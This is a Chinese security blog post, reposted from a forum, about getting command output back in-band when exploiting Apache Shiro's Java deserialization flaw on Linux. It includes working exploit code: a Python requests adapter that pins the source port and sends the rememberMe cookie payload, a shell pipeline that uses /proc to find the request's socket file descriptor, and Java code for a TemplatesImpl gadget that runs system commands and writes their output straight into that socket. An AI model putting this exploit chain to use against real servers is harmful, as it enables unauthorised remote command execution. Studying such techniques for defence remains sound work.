0%

linux下java反序列化通杀回显方法的低配版实现

首发于先知转载到自己博客

故事的起因

一直觉得shiro反序列化是一个很舒服的洞,payload原生加密(无特征),实战中有概率遇见并且又是java反序列化洞所以危害又很大。不过尽管这样shiro打起来依然有java反序列化的两个痛点。第一是可用的gadget,第二个带内回显的问题。不过某天在刷tw的时候发现第二个痛点国内已经有大佬有成熟解决方案了。
image.png

注意看图,shiro的回显并不在http响应包中而是在http响应包之前,很玄学的回显对吧?联想最近在看了一篇文章通杀漏洞利用回显方法-linux平台,按我的理解这篇文章的思路大致是通过java反序列化执行代码&&系统命令获取到发起这次请求时服务端socket的文件描述符,然后在文件描述符写入回显内容。上图的回显效果和这种思路非常相似。

技术的难点

实现这种技术的难点在于如何通过java反序列化执行代码&&系统命令获取本次http请求用到socket的文件描述符。因为在服务器对外开放的时会有fd下会有许多socket描述符。
image.png
这里给出获取socket文件描述符我的一个低配版思路及实现,至于为啥是低配版会在文章最后提到。首先注意到socket后面的数字不同,这个数字实际上是inode号。这个inode号也出现在/proc/net/tcp中。
image.png
注意到每一个inode号对应唯一条tcp连接信息并且这条信息中的remote_address项记录了远程连接的ip和端口号。说到这里其实获取socket思路就很明显了:通过指定客户端发起请求的源端口号,通过cat grep awk组合大法在tcp表中拿到inode,把拿到的inode号再去fd目录下再用cat grep wak大法拿到文件描述符的数字,再调用java代码打开文件描述符即可实现带内回显。

实现细节

指定端口号

requests库可以重新实现Http达到指定请求端口的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class SourcePortAdapter(HTTPAdapter):
""""Transport adapter" that allows us to set the source port."""
def __init__(self, port, *args, **kwargs):
self._source_port = port
super(SourcePortAdapter, self).__init__(*args, **kwargs)

def init_poolmanager(self, connections, maxsize, block=False):
self.poolmanager = PoolManager(
num_pools=connections, maxsize=maxsize,
block=block, source_address=('', self._source_port))

s = requests.Session()
s.mount(target, SourcePortAdapter(randNum))
resp = s.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=5, headers=headers, verify=False)

获取socket对应的文件描述符

整个流程使用的命令如下

1
2
3
a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`;
b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;
echo -n $b

往文件描述中写数据

现在假设shiro存在反序列化并且所用gadget的末端是走的TemplatesImpl,那么我们可以把ysoserial中的硬编码的命令执行改成下面这样的代码执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
String[] cmd = { "/bin/sh", "-c", "a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`;b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;echo -n $b"};
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
java.io.BufferedReader br = new java.io.BufferedReader(isr);
StringBuilder stringBuilder = new StringBuilder();
String line;

while ((line = br.readLine()) != null){
stringBuilder.append(line);
}

int num = Integer.valueOf(stringBuilder.toString()).intValue();


cmd = new String[]{"/bin/sh","-c","ifconfig"};

in = Runtime.getRuntime().exec(cmd).getInputStream();
isr = new java.io.InputStreamReader(in);
br = new java.io.BufferedReader(isr);
stringBuilder = new StringBuilder();

while ((line = br.readLine()) != null){
stringBuilder.append(line);
}

String ret = stringBuilder.toString();
java.lang.reflect.Constructor c=java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);

java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(num)}));
os.write(ret.getBytes());
os.close();

我这种低配版指令ifconfig后效果实现效果如下,服务端会直接返回数据并断掉连接,所以没有了后面http响应包,requests库无法识别返回的内容报错。
image.png

总结

  1. 我这种方法因为需要保证请求源端口,所以没办法按照图中师傅实现的一样在burp中(burp代理后发起请求的端口不可控)。同样的道理如果脆弱的shiro应用在反代后面,因为反代的源端口不可预测所以没办法用这种低配版方案拿到回显。但实际情况不出网的shiro肯定是在内网里面的,所以从这角度想想还有点鸡肋,就当抛砖引玉了~
  2. 在上面引用的文章中提到了 “jvm所有的对象都存储在堆内存中,也许可以通过某种方法直接获取存储在堆内存中的socket对象实现回显”,我猜可以在burp里面利用的情况应该是通过某种黑魔法获取到了本次请求的socket对象了(或者是更底层的方法)所以才不要以客户端源口作为过滤条件。
  3. 写到这忽然想起,那个图片payload貌似没有打码,或许把payload用shiro常见的密钥撞一下撞可以看到标准版思路的片段?体力不够,溜了。

研究这个问题时候也请教了相关的大哥接收到了一些提示,因为属于他人知识产权,文章并未提及。在此谢过指点我的大哥们。